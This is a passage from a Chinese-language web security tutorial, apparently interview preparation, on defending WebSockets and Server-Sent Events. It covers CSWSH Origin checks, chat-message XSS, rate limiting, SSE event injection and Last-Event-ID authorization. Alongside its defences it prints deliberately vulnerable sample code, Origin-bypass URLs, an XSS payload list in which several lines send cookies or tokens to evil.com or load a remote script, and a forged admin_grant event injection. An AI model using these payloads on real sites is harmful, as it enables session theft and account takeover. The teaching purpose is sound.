log.warn("[WS] 拒绝:Origin 不在白名单. origin={}, ip={}, ua={}",
origin, clientIp, userAgent);
response.setStatusCode(HttpStatus.FORBIDDEN);
// ★ 记录审计:Origin 不匹配是 CSWSH 攻击的典型特征
auditLogService.logSecurityEvent("WS_ORIGIN_REJECTED",
String.format("Origin 校验失败: %s(疑似 CSWSH 攻击)", origin),
clientIp, userAgent);
return false;
}
@Override
public void afterHandshake(ServerHttpRequest request,
ServerHttpResponse response,
WebSocketHandler wsHandler,
Exception exception) {
// 握手后无需处理
}
/**
* 严格三部分比对
*
* ★ 常见错误写法:
* if (origin.contains("example.com")) ← 大错!
* 这些都能绕过:
* https://example.com.evil.com
* https://evil.com/?x=example.com
* https://example.com@evil.com
*/
static class OriginInfo {
final String scheme;
final String host;
final int port;
OriginInfo(String scheme, String host, int port) {
this.scheme = scheme.toLowerCase();
this.host = host.toLowerCase();
this.port = port;
}
static OriginInfo parse(String origin) {
try {
URI uri = URI.create(origin.trim());
String scheme = uri.getScheme();
String host = uri.getHost();
if (scheme == null || host == null) {
return null;
}
int port = uri.getPort();
if (port == -1) {
// 没写端口,用协议默认端口
port = "https".equalsIgnoreCase(scheme) ? 443 : 80;
}
return new OriginInfo(scheme, host, port);
} catch (IllegalArgumentException e) {
return null;
}
}
boolean matches(OriginInfo other) {
// 三部分全等(host 已转小写,避免大小写绕过)
return this.scheme.equals(other.scheme)
&& this.host.equals(other.host)
&& this.port == other.port;
}
@Override
public String toString() {
return scheme + "://" + host + ":" + port;
}
@Override
public boolean equals(Object o) {
if (!(o instanceof OriginInfo other)) return false;
return matches(other);
}
@Override
public int hashCode() {
return Objects.hash(scheme, host, port);
}
}
private boolean isInternalIp(String ip) {
if (ip == null) return false;
return internalIpRanges.stream().anyMatch(ip::startsWith);
}
private boolean isInternalOrigin(OriginInfo info) {
return isInternalIp(info.host)
|| info.host.endsWith(".svc.cluster.local")
|| "localhost".equals(info.host);
}
private String extractClientIp(ServerHttpRequest request) {
String xff = request.getHeaders().getFirst("X-Forwarded-For");
if (xff != null && !xff.isBlank()) {
return xff.split(",")[0].trim();
}
if (request.getRemoteAddress() != null) {
return request.getRemoteAddress().getAddress().getHostAddress();
}
return "unknown";
}
}
CSWSH 的补充防御(3.8 没讲的):
| 防御手段 | 原理 | 强度 | 说明 |
|---|---|---|---|
| Origin 校验 | 只认自己域名 | ★★★★★ | 浏览器场景根治,但非浏览器客户端无效 |
| Token 认证(非 Cookie) | 连接时带 Token | ★★★★★ | 非浏览器场景必需,Token 存在 JS 内存里(不是 Cookie),恶意站点拿不到 |
| SameSite=Strict Cookie | Cookie 不随跨站请求发 | ★★★★ | 从根源上让 CSWSH 拿不到 Cookie |
| 一次性 ticket | 短期、单次、绑定 IP+UA | ★★★★★ | 即使被劫持也没用 |
| 订阅归属校验 | 检查订阅的频道属于当前用户 | ★★★★★ | 最后一道防线,即使连上了也拿不到别人的数据 |
| CSRF Token 双重提交 | 握手时校验 | ★★★ | 增加复杂度,前几条够用时不必须 |
面试话术: “WebSocket 不受同源策略保护,是因为同源策略管的是’读取响应’, 而 WebSocket 是一次握手后的持续通道,设计上就没纳入 CORS 体系。 而且浏览器 WebSocket API 不允许设置自定义请求头,所以不能像 fetch 那样带 Authorization。
防御分两层: 浏览器场景靠 Origin 校验(服务端严格比对 scheme+host+port,不能用 contains); 非浏览器场景(App、服务端间调用)Origin 可以随便伪造,必须靠 Token 或一次性 ticket。
但最根本的是:Origin 校验只是门禁,订阅鉴权才是房间锁。 即使攻击者绕过了门禁,只要每个订阅频道都校验归属,他还是拿不到别人的数据。 这就是纵深防御——不能只靠一道防线。“
5.2.5 消息注入与 XSS(聊天室重灾区)
WebSocket 里的 XSS 比 HTTP 更难防,因为:
- WAF 看不见(前面说过)
- 开发容易忘记转义(觉得“这是实时消息,不是页面”)
- 消息直接进 DOM(
innerHTML = msg.content)
典型漏洞代码:
// ❌ 漏洞代码:直接把 WebSocket 消息插进 DOM
ws.onmessage = function(event) {
const msg = JSON.parse(event.data);
// 危险!msg.content 可能是:<img src=x onerror="fetch('//evil.com?c='+document.cookie)">
document.getElementById('chat').innerHTML +=
`<div class="msg"><b>${msg.nickname}</b>: ${msg.content}</div>`;
};
攻击 Payload 一览:
// ① 经典 XSS(偷 Cookie)
<img src=x onerror="fetch('//evil.com/steal?c='+document.cookie)">
// ② 偷 localStorage 里的 Token(现在更常见,因为 Cookie 有 HttpOnly)
<img src=x onerror="fetch('//evil.com/steal?t='+localStorage.getItem('token'))">
// ③ 劫持 WebSocket 连接(更隐蔽——偷完 Token 还能继续控制)
<img src=x onerror="
const s=document.createElement('script');
s.src='//evil.com/ws-hijack.js';
document.body.appendChild(s);
">
// ④ SVG 绕过(有些过滤器只拦 <script> 和 <img onerror>)
<svg/onload="alert(document.domain)">
// ⑤ 不需要标签的绕过(如果过滤器只过滤标签)
" autofocus onfocus="alert(1)" x="
// ⑥ 利用 Markdown 渲染(很多聊天室支持 Markdown)
[点我](javascript:fetch('//evil.com?c='+document.cookie))
)
// ⑦ 昵称字段注入(很多人只转义消息内容,忘记转义昵称)
nickname = "<script>alert(1)</script>"
// ⑧ 利用 JSON 字段(如果前端把整个对象塞进 DOM)
{"type":"msg","html":"<img src=x onerror=...>"}
✅ 正确防御(四层):
/**
* 第一层:永远用 textContent,不用 innerHTML
*
* 这是最根本的防御——textContent 会把内容当纯文本,
* 不管里面有什么 HTML/JS 标签,都只会显示成文字。
*/
function renderMessageSafe(msg) {
const div = document.createElement('div');
div.className = 'msg';
// 昵称
const nameSpan = document.createElement('span');
nameSpan.className = 'nickname';
nameSpan.textContent = msg.nickname; // ✅ 安全
div.appendChild(nameSpan);
// 内容
const contentSpan = document.createElement('span');
contentSpan.className = 'content';
contentSpan.textContent = msg.content; // ✅ 安全
div.appendChild(contentSpan);
document.getElementById('chat').appendChild(div);
}
/**
* 第二层:如果确实需要富文本(比如支持表情、@某人、链接),
* 用 DOMPurify 做白名单过滤
*
* 为什么不用自己写正则?
* 黑名单永远写不全,HTML 的绕过姿势有几百种。
* DOMPurify 是业界标准,经过大量实战检验。
*/
import DOMPurify from 'dompurify';
function renderRichMessage(msg) {
const clean = DOMPurify.sanitize(msg.content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'br', 'code'],
ALLOWED_ATTR: ['href'],
ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i, // ★ 禁止 javascript: 协议
FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'style']
});
// 即使净化了,还是建议用 textContent 之外的手段时再检查一次
const div = document.createElement('div');
div.innerHTML = clean; // 这里安全,因为已经过了 DOMPurify
document.getElementById('chat').appendChild(div);
}
/**
* 第三层:内容安全策略 CSP(兜底)
*
* 即使前面两层都漏了,CSP 能让攻击无法成功:
* - 禁止内联脚本执行
* - 限制脚本只能从指定域名加载
* - 禁止向外部域名发请求(connect-src)
*/
// 服务端响应头:
// Content-Security-Policy:
// default-src 'self';
// script-src 'self'; ← 只能加载本站脚本
// connect-src 'self' wss://api.example.com; ← 只能连本站 WebSocket
// img-src 'self' data: https:;
// object-src 'none'; ← 禁止 Flash 等插件
// base-uri 'self';
// frame-ancestors 'none'; ← 禁止被 iframe 嵌套(防点击劫持)
/**
* 第四层:服务端入站过滤(不是主要防御,但要加)
*/
/**
* 服务端消息入站校验
*
* 生活类比:
* 前端转义 = 收到快递先消毒(可能被绕过)
* 服务端过滤 = 发货前检查(源头控制)
* 两道都做,因为攻击者可以不用你的前端,直接写脚本连 WebSocket 发消息
*
* ★ 关键认知:
* 只要有客户端,攻击者就能绕过客户端。
* 所以服务端的校验才是真正的防线。
*/
@Component
@Slf4j
public class WebSocketMessageValidator {
/** 消息内容最大长度 */
private static final int MAX_CONTENT_LENGTH = 2000;
/** 昵称最大长度 */
private static final int MAX_NICKNAME_LENGTH = 32;
/** 危险内容正则(黑名单,作为辅助手段) */
private static final List<Pattern> DANGEROUS_PATTERNS = List.of(
Pattern.compile("<\\s*script", Pattern.CASE_INSENSITIVE),
Pattern.compile("javascript\\s*:", Pattern.CASE_INSENSITIVE),
Pattern.compile("\\son\\w+\\s*=", Pattern.CASE_INSENSITIVE), // onerror= onload=
Pattern.compile("<\\s*iframe", Pattern.CASE_INSENSITIVE),
Pattern.compile("<\\s*svg[^>]*onload", Pattern.CASE_INSENSITIVE),
Pattern.compile("expression\\s*\\(", Pattern.CASE_INSENSITIVE), // 老 IE CSS 执行
Pattern.compile("data\\s*:\\s*text/html", Pattern.CASE_INSENSITIVE)
);
/**
* 校验并清洗消息
*
* @return 清洗后的消息,null 表示拒绝
*/
public ChatMessage validateAndSanitize(ChatMessage raw, Long senderId) {
// ===== ① 长度校验 =====
if (raw.getContent() == null || raw.getContent().isBlank()) {
throw new BizException("消息内容不能为空");
}
if (raw.getContent().length() > MAX_CONTENT_LENGTH) {
throw new BizException("消息内容过长(最多 " + MAX_CONTENT_LENGTH + " 字)");
}
if (raw.getNickname() != null && raw.getNickname().length() > MAX_NICKNAME_LENGTH) {
throw new BizException("昵称过长");
}
// ===== ② 类型白名单(防止客户端伪造系统消息)=====
if (!isAllowedMessageType(raw.getType())) {
log.warn("[WS] 非法的消息类型. type={}, senderId={}", raw.getType(), senderId);
throw new BizException("非法的消息类型");
}
// ===== ③ 危险内容检测 =====
String content = raw.getContent();
for (Pattern pattern : DANGEROUS_PATTERNS) {
if (pattern.matcher(content).find()) {
log.warn("[WS] 检测到危险内容. senderId={}, pattern={}, content={}",
senderId, pattern.pattern(), truncate(content, 100));
// 记录安全事件(攻击者可能在探测)
securityEventService.record("WS_XSS_ATTEMPT", senderId, content);
throw new BizException("消息内容包含不安全的内容");
}
}
// ===== ④ 控制字符清理 =====
// 有些控制字符会导致日志注入、终端转义序列攻击
content = removeControlCharacters(content);
// ===== ⑤ 服务端设置可信字段(不信任客户端传的)=====
return ChatMessage.builder()
.type(raw.getType())
.content(content)
.nickname(raw.getNickname())
// ★ 这些字段服务端强制覆盖,客户端传什么都不认
.senderId(senderId)
.serverTimestamp(System.currentTimeMillis())
.isAdmin(false) // 是否管理员:服务端查
.isSystemMessage(false) // 系统消息:只有服务端能发
.build();
}
/**
* 移除控制字符(保留换行和制表符)
*/
private String removeControlCharacters(String input) {
return input.chars()
.filter(c -> c >= 0x20 || c == '\n' || c == '\t' || c == '\r')
.collect(StringBuilder::new,
StringBuilder::appendCodePoint,
StringBuilder::append)
.toString();
}
private boolean isAllowedMessageType(String type) {
return Set.of("text", "image", "emoji", "file").contains(type);
}
private String truncate(String s, int max) {
return s.length() <= max ? s : s.substring(0, max) + "...";
}
}
★ 服务端也要防“消息洪水”(Message Flood):
/**
* 消息级限流器
*
* ★ 关键:限流维度是"消息数",不是"HTTP 请求数"
* 一条 WebSocket 连接 = 1 个 HTTP 请求,但能发无限条消息
*
* 四个维度都要限:
* ① 每秒消息数(防刷屏)
* ② 每分钟字节数(防带宽耗尽)
* ③ 相同内容重复数(防复制粘贴刷屏)
* ④ 违规次数(累积后封禁)
*/
@Component
@Slf4j
public class WebSocketMessageRateLimiter {
@Autowired
private StringRedisTemplate redis;
/** 每连接每秒最多 10 条消息 */
private static final int MAX_MESSAGES_PER_SECOND = 10;
/** 每连接每分钟最多 100KB */
private static final int MAX_BYTES_PER_MINUTE = 100 * 1024;
/** 每分钟重复内容最多 3 次 */
private static final int MAX_DUPLICATE_PER_MINUTE = 3;
/** 1 分钟内违规 5 次 → 断开连接 */
private static final int MAX_VIOLATIONS = 5;
/**
* 滑动窗口限流 Lua 脚本
*
* 为什么用 Lua?
* 限流需要"读-判断-写"三步,并发下必须用 Lua 保证原子性,
* 否则 100 个并发请求同时读到 count=9,全部放行。
*/
private static final String SLIDING_WINDOW_LUA = """
local key = KEYS[1]
local now = tonumber(ARGV[1])
local window = tonumber(ARGV[2])
local limit = tonumber(ARGV[3])
local member = ARGV[4]
-- 移除窗口外的旧数据
redis.call('ZREMRANGEBYSCORE', key, 0, now - window)
-- 统计窗口内的数量
local count = redis.call('ZCARD', key)
if count >= limit then
return {0, count} -- 超限,返回 0 表示拒绝
end
-- 加入当前请求
redis.call('ZADD', key, now, member)
redis.call('PEXPIRE', key, window)
return {1, count + 1} -- 通过
""";
/**
* 检查是否允许发送
*
* @return 限流结果
*/
public RateLimitResult checkAllow(Long userId, String sessionId, String content) {
String now = String.valueOf(System.currentTimeMillis());
// ===== ① 每秒消息数限流 =====
String secKey = "ws:rate:msg:" + userId + ":" + sessionId;
List<Long> secResult = redis.execute(
new DefaultRedisScript<>(SLIDING_WINDOW_LUA, List.class),
List.of(secKey),
now, "1000", String.valueOf(MAX_MESSAGES_PER_SECOND),
now + "-" + ThreadLocalRandom.current().nextInt(1000000)
);
if (secResult == null || secResult.get(0) == 0) {
log.warn("[WS] 消息频率超限. userId={}, count={}", userId,
secResult != null ? secResult.get(1) : -1);
return recordViolation(userId, "消息发送过于频繁,请慢一点");
}
// ===== ② 每分钟字节数限流 =====
int bytes = content.getBytes(StandardCharsets.UTF_8).length;
String byteKey = "ws:rate:bytes:" + userId;
Long totalBytes = redis.opsForValue().increment(byteKey, bytes);
if (totalBytes != null && totalBytes == bytes) {
redis.expire(byteKey, Duration.ofMinutes(1));
}
if (totalBytes != null && totalBytes > MAX_BYTES_PER_MINUTE) {
return recordViolation(userId, "发送数据量超限,请稍后再试");
}
// ===== ③ 重复内容检测 =====
String contentHash = DigestUtils.sha256Hex(content);
String dupKey = "ws:rate:dup:" + userId + ":" + contentHash;
Long dupCount = redis.opsForValue().increment(dupKey);
if (dupCount != null && dupCount == 1) {
redis.expire(dupKey, Duration.ofMinutes(1));
}
if (dupCount != null && dupCount > MAX_DUPLICATE_PER_MINUTE) {
return recordViolation(userId, "请勿重复发送相同内容");
}
return RateLimitResult.allowed();
}
/**
* 记录违规,超限则要求断开
*/
private RateLimitResult recordViolation(Long userId, String reason) {
String violateKey = "ws:violation:" + userId;
Long violations = redis.opsForValue().increment(violateKey);
if (violations != null && violations == 1) {
redis.expire(violateKey, Duration.ofMinutes(5));
}
if (violations != null && violations >= MAX_VIOLATIONS) {
log.warn("[WS] 用户违规次数过多,断开连接. userId={}, violations={}",
userId, violations);
// 封禁 10 分钟
redis.opsForValue().set("ws:ban:" + userId, "1", Duration.ofMinutes(10));
return RateLimitResult.disconnect("违规次数过多,连接已断开");
}
return RateLimitResult.rejected(reason, violations.intValue());
}
/**
* 检查用户是否在封禁名单
*/
public boolean isBanned(Long userId) {
return Boolean.TRUE.equals(redis.hasKey("ws:ban:" + userId));
}
public record RateLimitResult(
boolean allowed, // 是否放行
boolean shouldDisconnect, // 是否应该断开连接
String reason, // 拒绝原因
int violationCount // 当前违规次数
) {
public static RateLimitResult allowed() {
return new RateLimitResult(true, false, null, 0);
}
public static RateLimitResult rejected(String reason, int count) {
return new RateLimitResult(false, false, reason, count);
}
public static RateLimitResult disconnect(String reason) {
return new RateLimitResult(false, true, reason, MAX_VIOLATIONS);
}
}
}
在 Handler 里使用:
@Component
@Slf4j
public class SecureChatWebSocketHandler extends TextWebSocketHandler {
@Autowired
private WebSocketMessageRateLimiter rateLimiter;
@Autowired
private WebSocketMessageValidator validator;
@Autowired
private ChatService chatService;
@Override
protected void handleTextMessage(WebSocketSession session, TextMessage message) {
Long userId = getUserId(session);
String sessionId = session.getId();
try {
// ===== ① 封禁检查 =====
if (rateLimiter.isBanned(userId)) {
session.close(CloseStatus.NORMAL.withReason("您已被暂时限制"));
return;
}
// ===== ② 消息大小检查(双保险,容器层已配过)=====
if (message.getPayloadLength() > 64 * 1024) {
log.warn("[WS] 消息过大. userId={}, size={}", userId, message.getPayloadLength());
session.close(CloseStatus.TOO_BIG_TO_PROCESS);
return;
}
// ===== ③ 限流 =====
RateLimitResult limitResult =
rateLimiter.checkAllow(userId, sessionId, message.getPayload());
if (limitResult.shouldDisconnect()) {
session.close(CloseStatus.POLICY_VIOLATION.withReason(limitResult.reason()));
return;
}
if (!limitResult.allowed()) {
sendError(session, limitResult.reason(), limitResult.violationCount());
return;
}
// ===== ④ 解析 =====
ChatMessage raw;
try {
raw = objectMapper.readValue(message.getPayload(), ChatMessage.class);
} catch (JsonProcessingException e) {
sendError(session, "消息格式错误", 0);
return;
}
// ===== ⑤ 校验 + 清洗 =====
ChatMessage safe = validator.validateAndSanitize(raw, userId);
// ===== ⑥ 业务处理 =====
chatService.saveAndBroadcast(safe);
} catch (BizException e) {
sendError(session, e.getMessage(), 0);
} catch (Exception e) {
log.error("[WS] 处理消息异常", e);
sendError(session, "服务器繁忙", 0);
}
}
private void sendError(WebSocketSession session, String msg, int violationCount) {
try {
session.sendMessage(new TextMessage(JsonUtil.toJson(Map.of(
"type", "error",
"message", msg,
"violationCount", violationCount
))));
} catch (IOException ignored) {
}
}
private Long getUserId(WebSocketSession session) {
Principal principal = session.getPrincipal();
return principal instanceof AuthenticatedUser u ? u.getUserId() : null;
}
}
5.3 SSE(Server-Sent Events)安全
5.3.1 SSE 是什么(一句话 + 类比)
白话:SSE 就是“服务端单向推送”——浏览器发一次请求,服务端不立即结束响应,而是一直开着,有数据就往里写一点。浏览器这边自动接收。
生活类比:
- 轮询:你每分钟打电话问快递到哪了(浪费电话费,且最多 1 分钟延迟)
- WebSocket:你和快递员一直通话(双向,但要占线)
- SSE:你打电话给快递公司,说“到了告诉我”,然后不挂电话,快递员有消息就说一句(单向,只他跟你说)
SSE vs WebSocket 对比:
| 维度 | SSE | WebSocket |
|---|---|---|
| 通信方向 | 单向(服务端→客户端) | 双向 |
| 传输协议 | 普通 HTTP(text/event-stream) |
独立协议(ws:// / wss://) |
| 是否要特殊服务端 | ❌ 不需要,任何 HTTP 服务器都行 | ✅ 需要支持 WebSocket |
| 自动重连 | ✅ 浏览器原生支持 | ❌ 要自己写 |
| 断线续传 | ✅ Last-Event-ID 原生支持 |
❌ 要自己做 |
| 自定义请求头 | ❌ 不能(和 WebSocket 一样) | ❌ 不能 |
| 二进制数据 | ❌ 只能文本(要 base64) | ✅ 原生支持 |
| 浏览器连接数限制 | ⚠️ HTTP/1.1 下每域名 6 个 | 无此限制 |
| 穿透代理 | ✅ 就是普通 HTTP,天然穿透 | ⚠️ 有些老代理不认 Upgrade |
| 典型场景 | AI 打字机输出、通知、进度条、日志流 | 聊天、协同编辑、游戏 |
重要认知: 很多人一上来就用 WebSocket,实际上 SSE 更简单、更可靠、更省事。 如果你的场景是“服务端单向推”(AI 流式输出、消息通知、构建日志),优先选 SSE。 SSE 是普通 HTTP,不用改网关、不用改负载均衡、自动重连、天然穿透代理。
5.3.2 SSE 的五个安全问题
问题 1:EventSource 不能设自定义头(只能用 Cookie)
// ❌ 这是不可能的
const es = new EventSource('/api/stream', {
headers: { 'Authorization': 'Bearer ' + token } // ← 不支持!
});
// EventSource 构造函数签名:
// new EventSource(url)
// new EventSource(url, { withCredentials: true }) ← 只有一个选项
后果:
- 只能用 Cookie 认证 → 天然有 CSRF 风险
- 或者把 Token 放 URL → Token 进日志(和 WebSocket URL 一样的问题)
三种解决方案:
/**
* 方案 A:Cookie + SameSite(最简单,推荐)
*
* 服务端设置:
* Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax; Path=/
*
* 前端:
* const es = new EventSource('/api/stream', { withCredentials: true });
*
* 优点:简单,SameSite=Lax 天然防跨站
* 缺点:跨域场景要配 CORS,且 withCredentials 时 CORS 不能用 *
*/
/**
* 方案 B:一次性 ticket(和 WebSocket 一样)
*
* 1. 先 fetch 换 ticket
* 2. new EventSource('/api/stream?ticket=xxx')
*/
async function createSecureEventSource(baseUrl) {
const resp = await fetch(`${baseUrl}/api/sse/ticket`, {
method: 'POST',
credentials: 'include'
});
const { ticket } = await resp.json();
// ticket 只用一次,进日志也不怕
return new EventSource(`${baseUrl}/api/stream?ticket=${ticket}`);
}
/**
* 方案 C:用 fetch 手动实现 SSE(能设任意头,最灵活)
*
* 适用场景:需要 Authorization 头、需要 POST 请求体
* 代价:要自己实现重连、Last-Event-ID、解析
*/
async function createEventSourceWithHeaders(url, headers, onMessage) {
const controller = new AbortController();
const response = await fetch(url, {
headers: {
...headers,
'Accept': 'text/event-stream',
'Cache-Control': 'no-cache'
},
signal: controller.signal
});
if (!response.ok) {
throw new Error(`SSE 连接失败: ${response.status}`);
}
const reader = response.body.getReader();
const decoder = new TextDecoder();
let buffer = '';
// 解析 SSE 格式
while (true) {
const { done, value } = await reader.read();
if (done) break;
buffer += decoder.decode(value, { stream: true });
// SSE 格式:每行 data: xxx,两个换行表示一条消息结束
const lines = buffer.split('\n\n');
buffer = lines.pop() || ''; // 最后一段可能不完整,留到下批
for (const line of lines) {
const dataLine = line.split('\n').find(l => l.startsWith('data: '));
if (dataLine) {
const data = dataLine.slice(6);
onMessage(data);
}
}
}
return { abort: () => controller.abort() };
}
问题 2:事件注入(Event Injection)
SSE 的消息格式(纯文本协议,理解这一点是理解漏洞的关键):
id: 1
event: message
data: {"content":"你好"}
id: 2
event: update
data: {"progress": 50}
# 空行表示一条消息结束
漏洞原理:服务端把用户输入直接拼进 data: 字段,如果输入里有换行,就能伪造出完整的消息。
// ❌ 漏洞代码
@GetMapping(value = "/api/stream", produces = "text/event-stream")
public SseEmitter stream(@RequestParam String userId) {
SseEmitter emitter = new SseEmitter();
// 假设 content 来自用户输入(比如 AI 的回复、日志内容、用户昵称)
String content = userService.getNickname(userId);
// 危险!直接拼接
emitter.send("data: " + content + "\n\n");
return emitter;
}
攻击:
# 攻击者把昵称改成:
VIP用户
event: admin_grant
data: {"action":"grantAdmin","target":"attacker"}
# 服务端拼出来变成两条消息:
data: VIP用户
event: admin_grant
data: {"action":"grantAdmin","target":"attacker"}
# 浏览器收到第二条事件:event=admin_grant
# 如果前端监听了 admin_grant 事件,就会执行授权逻辑!
✅ 正确做法:
/**
* SSE 消息构造器(防注入)
*
* 原则:所有用户输入必须做"换行转义",
* 或者干脆用 JSON 序列化(JSON 会把换行转成 \n)
*/
public class SseMessageBuilder {
/**
* 方式一:JSON 序列化(推荐)
*
* JSON 序列化后,换行变成字面量 \n,
* 不可能伪造出新的 SSE 行。
*/
public static String buildJson(String event, Object data) {
StringBuilder sb = new StringBuilder();
// id 字段:用于断线重连时告诉服务端"我收到哪了"
sb.append("id: ").append(System.currentTimeMillis()).append('\n');
// event 字段:事件名(服务端控制,不能来自用户输入)
sb.append("event: ").append(sanitizeField(event)).append('\n');
// data 字段:JSON 序列化,换行被转义
sb.append("data: ").append(JsonUtil.toJson(data)).append('\n');
// retry 字段:告诉浏览器重连间隔(毫秒)
sb.append("retry: 5000").append('\n');
sb.append('\n'); // 空行表示消息结束
return sb.toString();
}
/**
* 方式二:多行文本(如果要发多行内容,每行都要加 data: 前缀)
*
* SSE 规范:多行数据用多个 data: 行表示,
* 浏览器会把它们用 \n 连起来。
*/
public static String buildMultilineText(String event, String text) {
StringBuilder sb = new StringBuilder();
sb.append("event: ").append(sanitizeField(event)).append('\n');
// ★ 关键:每一行都单独加 data: 前缀
// 这样即使用户输入里有 \n\n,也不会被解析成消息分隔符
for (String line : text.split("\n", -1)) {
sb.append("data: ").append(line).append('\n');
}
sb.append('\n');
return sb.toString();
}
/**
* 字段名清洗(event / id 字段不能含换行和冒号)
*/
private static String sanitizeField(String field) {
if (field == null) return "";
return field.replaceAll("[\\r\\n:]", "_");
}
}
问题 3:Last-Event-ID 重放 / 越权
Last-Event-ID 是什么:
浏览器断线重连时,会自动带上最后一次收到的 id,服务端据此补发漏掉的消息。
漏洞:服务端不校验这个 ID 是否属于当前用户。
// ❌ 漏洞代码
@GetMapping("/api/stream")
public SseEmitter stream(@RequestHeader(value = "Last-Event-ID", required = false)
String lastEventId) {
// 直接拿 lastEventId 去查消息,不校验归属
List<Message> missed = messageRepo.findByIdGreaterThan(Long.parseLong(lastEventId));
// ← 攻击者改成别人的 ID,能拿到别人的历史消息!
}
✅ 正确做法:
@GetMapping(value = "/api/stream", produces = "text/event-stream")
public SseEmitter stream(@AuthenticationPrincipal User currentUser,
@RequestHeader(value = "Last-Event-ID", required = false)
String lastEventId) {
SseEmitter emitter = new SseEmitter(300_000L); // 5 分钟超时
Long userId = currentUser.getId();
// ★ ① 校验 Last-Event-ID 的格式(防注入)
Long lastId = null;
if (lastEventId != null && lastEventId.matches("\\d{1,19}")) {
lastId = Long.parseLong(lastEventId);
}
// ★ ② 补发消息时必须带 userId 条件(关键!)
if (lastId != null) {
List<Message> missed = messageRepo.findByUserIdAndIdGreaterThanOrderByIdAsc(
userId, lastId, PageRequest.of(0, 100));
for (Message msg : missed) {
emitter.send(SseMessageBuilder.buildJson("message", msg));
}
}
// ③ 注册到推送服务
ssePushService.register(userId, emitter);
// ④ 超时/异常/完成 都要清理,否则内存泄漏
emitter.onTimeout(() -> {
ssePushService.unregister(userId, emitter);
emitter.complete();
});
emitter.onError(e -> {
ssePushService.unregister(userId, emitter);
});
emitter.onCompletion(() -> {
ssePushService.unregister(userId, emitter);
});
// ⑤ 立即发一条注释,防止代理缓冲(见问题 4)
emitter.send(": connected\n\n");
return emitter;
}
问题 4:代理缓冲导致“消息不实时”
现象:SSE 在本地好好的,一上生产就变成“攒够一批才出来”,或者干脆不动了。
原因:
浏览器 ←→ Nginx ←→ 应用
Nginx 默认开启 proxy_buffering:
应用的响应会先攒在 Nginx 缓冲区,攒够 4KB/8KB 才发给浏览器
SSE 是长连接流,永远攒不够 → 消息一直卡着
还有:
- 响应压缩(gzip)也会缓冲
- 有些 CDN 也会缓冲
- 老旧的 corporate proxy 更狠
✅ 解决(Nginx 配置):
location /api/stream {
proxy_pass http://backend;
# ===== SSE 必需配置 =====
# ① 关闭缓冲(最关键)
proxy_buffering off;
# ② 关闭响应压缩(压缩会缓冲)
gzip off;
# ③ 关闭缓存
proxy_cache off;
# ④ 使用 HTTP/1.1 并清空 Connection 头(长连接必需)
proxy_http_version 1.1;
proxy_set_header Connection '';
# ⑤ 关闭 chunked 编码的缓冲
chunked_transfer_encoding on;
# ⑥ 长时间不超时(默认 60s 会断)
proxy_read_timeout 3600s;
proxy_send_timeout 3600s;
# ⑦ 传递真实 IP
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# ⑧ 允许跨域(如果前后端分离)
add_header Access-Control-Allow-Origin $http_origin always;
add_header Access-Control-Allow-Credentials true always;
}
应用层的兜底(心跳注释):
/**
* SSE 心跳保活
*
* 为什么需要?
* ① 防代理超时:有些代理 60 秒没数据就断
* ② 检测死连接:客户端关了浏览器,服务端不知道
* ③ 防浏览器超时
*
* SSE 注释格式:以冒号开头的行是注释,浏览器会忽略
* : 这是注释
*/
@Component
@Slf4j
public class SseHeartbeatTask {
private final Map<Long, Set<SseEmitter>> emitters = new ConcurrentHashMap<>();
@Scheduled(fixedDelay = 15_000) // 每 15 秒
public void sendHeartbeat() {
int success = 0, failed = 0;
for (Map.Entry<Long, Set<SseEmitter>> entry : emitters.entrySet()) {
for (SseEmitter emitter : entry.getValue()) {
try {
// 发送注释(冒号开头,浏览器忽略,但能保持连接活跃)
emitter.send(SseEmitter.event()
.comment("heartbeat " + System.currentTimeMillis()));
success++;
} catch (Exception e) {
// 发送失败说明连接已死,清理掉
failed++;
entry.getValue().remove(emitter);
log.debug("[SSE] 心跳失败,移除连接. userId={}", entry.getKey());
}
}
}
if (failed > 0) {
log.info("[SSE] 心跳完成. success={}, removed={}", success, failed);
}
}
}
问题 5:连接数耗尽(HTTP/1.1 每域名 6 个连接限制)
现象:用户开了 7 个标签页,第 7 个页面的 SSE 卡住不动了。
原因:HTTP/1.1 规范规定每个域名最多 6 个并发连接。SSE 是长连接,会一直占着。
解决方案对比:
| 方案 | 做法 | 效果 |
|---|---|---|
| HTTP/2 | 升级到 HTTP/2 | ✅ 根治:多路复用,一个连接承载所有流,默认 100+ 并发 |
| 多子域名 | sse1.example.com、sse2... |
⚠️ 缓解:每域名 6 个,N 个域名 6N 个 |
| SharedWorker | 所有标签页共享一个 SSE 连接 | ✅ 优雅:但需要额外开发 |
| 单页面单连接 | 前端限制只能有一个 SSE | ✅ 简单粗暴:其他标签页靠 localStorage 同步 |
SharedWorker 方案(优雅解):
/**
* shared-worker.js —— 所有标签页共享一个 SSE 连接
*
* 原理:
* SharedWorker 是一个能被同源下所有标签页共享的后台线程。
* 在它里面建一个 SSE 连接,然后把消息广播给所有标签页。
*
* 好处:
* - 不管开多少个标签页,只有 1 个 SSE 连接
* - 不占浏览器的 6 连接配额
* - 服务端压力也小了
*/
let sseConnection = null;
const ports = new Set(); // 所有连接的标签页
self.onconnect = function(event) {
const port = event.ports[0];
ports.add(port);
port.onmessage = function(e) {
if (e.data.type === 'connect') {
// 只有第一个标签页真正建立连接
if (!sseConnection) {
connectSSE(e.data.url);
}
} else if (e.data.type === 'disconnect') {
ports.delete(port);
// 最后一个标签页关了才断开
if (ports.size === 0 && sseConnection) {
sseConnection.close();
sseConnection = null;
}
}
};
port.start();
};
function connectSSE(url) {
sseConnection = new EventSource(url);
sseConnection.onmessage = function(event) {
// 广播给所有标签页
for (const port of ports) {
port.postMessage({ type: 'message', data: event.data });
}
};
sseConnection.onerror = function() {
for (const port of ports) {
port.postMessage({ type: 'error' });
}
};
}
5.3.3 SSE 安全检查清单
SSE 上线前必查(10 项):
认证与授权:
☐ Token 不放 URL(用 Cookie+SameSite 或一次性 ticket)
☐ Last-Event-ID 校验归属(必须带 userId 条件查询)
☐ 每个 emitter 绑定 userId,推送时校验
☐ 敏感流加权限校验(不是所有用户都能订阅所有流)
注入防护:
☐ data 字段用 JSON 序列化,或每行单独加 "data: " 前缀
